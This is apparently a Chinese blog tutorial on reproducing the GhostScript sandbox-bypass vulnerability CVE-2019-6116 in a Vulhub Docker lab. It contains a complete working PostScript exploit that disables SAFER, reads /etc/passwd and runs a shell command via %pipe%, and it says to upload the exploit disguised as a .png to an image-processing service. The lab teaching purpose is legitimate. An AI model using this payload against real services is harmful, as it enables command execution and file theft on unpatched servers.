利用Vulnhub复现漏洞 - GhostScript 沙箱绕过(命令执行)漏洞(CVE-2019-6116)

GhostScript 沙箱绕过(命令执行)漏洞(CVE-2019-6116)

    • Vulnhub官方复现教程
      • 漏洞原理
    • 复现漏洞
      • 启动环境
    • 漏洞复现
      • POC
        • 上传POC文件
        • 检测是否成功

Vulnhub官方复现教程

https://vulhub.org/#/environments/ghostscript/CVE-2019-6116/

漏洞原理

GhostScript 被许多图片处理库所使用,如 ImageMagick、Python PIL 等,默认情况下这些库会根据图片的内容将其分发给不同的处理方法,其中就包括 GhostScript。

参考链接:
https://bugs.chromium.org/p/project-zero/issues/detail?id=1729&desc=2
https://www.anquanke.com/post/id/170255

复现漏洞

启动环境

https://blog.csdn.net/JiangBuLiu/article/details/93853056
进入路径为

cd /root/vulhub/ghostscript/CVE-2019-6116

搭建及运行漏洞环境:

docker-compose build && docker-compose up -d

用时:2分半
环境启动后,访问http://your-ip:8080将可以看到一个上传组件。

漏洞复现

POC

%!PS
% extract .actual_pdfpaintproc operator from pdfdict
/.actual_pdfpaintproc pdfdict /.actual_pdfpaintproc get def

/exploit {
    (Stage 11: Exploitation...)=

    /forceput exch def

    systemdict /SAFER false forceput
    userparams /LockFilePermissions false forceput
    systemdict /userparams get /PermitFileControl [(*)] forceput
    systemdict /userparams get /PermitFileWriting [(*)] forceput
    systemdict /userparams get /PermitFileReading [(*)] forceput

    % update
    save restore

    % All done.
    stop
} def

errordict /typecheck {
    /typecount typecount 1 add def
    (Stage 10: /typecheck #)=only typecount ==

    % The first error will be the .knownget, which we handle and setup the
    % stack. The second error will be the ifelse (missing boolean), and then we
    % dump the operands.
    typecount 1 eq { null } if
    typecount 2 eq { pop 7 get exploit } if
    typecount 3 eq { (unexpected)= quit }  if
} put

% The pseudo-operator .actual_pdfpaintproc from pdf_draw.ps pushes some
% executable errays onto the operand stack that contain .forceput, but are not
% marked as executeonly or pseudo-operators.
%
% The routine was attempting to pass them to ifelse, but we can cause that to
% fail because when the routine was declared, it used `bind` but many of the
% names it uses are not operators and so are just looked up in the dictstack.
%
% This means we can push a dict onto the dictstack and control how the routine
% works.
<<
    /typecount      0
    /PDFfile        { (Stage 0: PDFfile)= currentfile }
    /q              { (Stage 1: q)= } % no-op
    /oget           { (Stage 3: oget)= pop pop 0 } % clear stack
    /pdfemptycount  { (Stage 4: pdfemptycount)= } % no-op
    /gput           { (Stage 5: gput)= }  % no-op
    /resolvestream  { (Stage 6: resolvestream)= } % no-op
    /pdfopdict      { (Stage 7: pdfopdict)= } % no-op
    /.pdfruncontext { (Stage 8: .pdfruncontext)= 0 1 mark } % satisfy counttomark and index
    /pdfdict        { (Stage 9: pdfdict)=
        % cause a /typecheck error we handle above
        true
    }
>> begin <<>> <<>> { .actual_pdfpaintproc } stopped pop

(Should now have complete control over ghostscript, attempting to read /etc/passwd...)=

% Demonstrate reading a file we shouldnt have access to.
(/etc/passwd) (r) file dup 64 string readline pop == closefile

(Attempting to execute a shell command...)= flush

% run command
(%pipe%id > /tmp/success) (w) file closefile

(All done.)=

quit

将POC代码保存为.png文件

上传POC文件

通过浏览器访问http://your-ip:8080上传poc.png文件
利用Vulnhub复现漏洞 - GhostScript 沙箱绕过(命令执行)漏洞(CVE-2019-6116)_第1张图片
即可执行id > /tmp/CVE-2019-6116_is_success

检测是否成功

进入容器docker-compose exec web bash,输入命令ls /tmp
在这里插入图片描述

你可能感兴趣的:(渗透)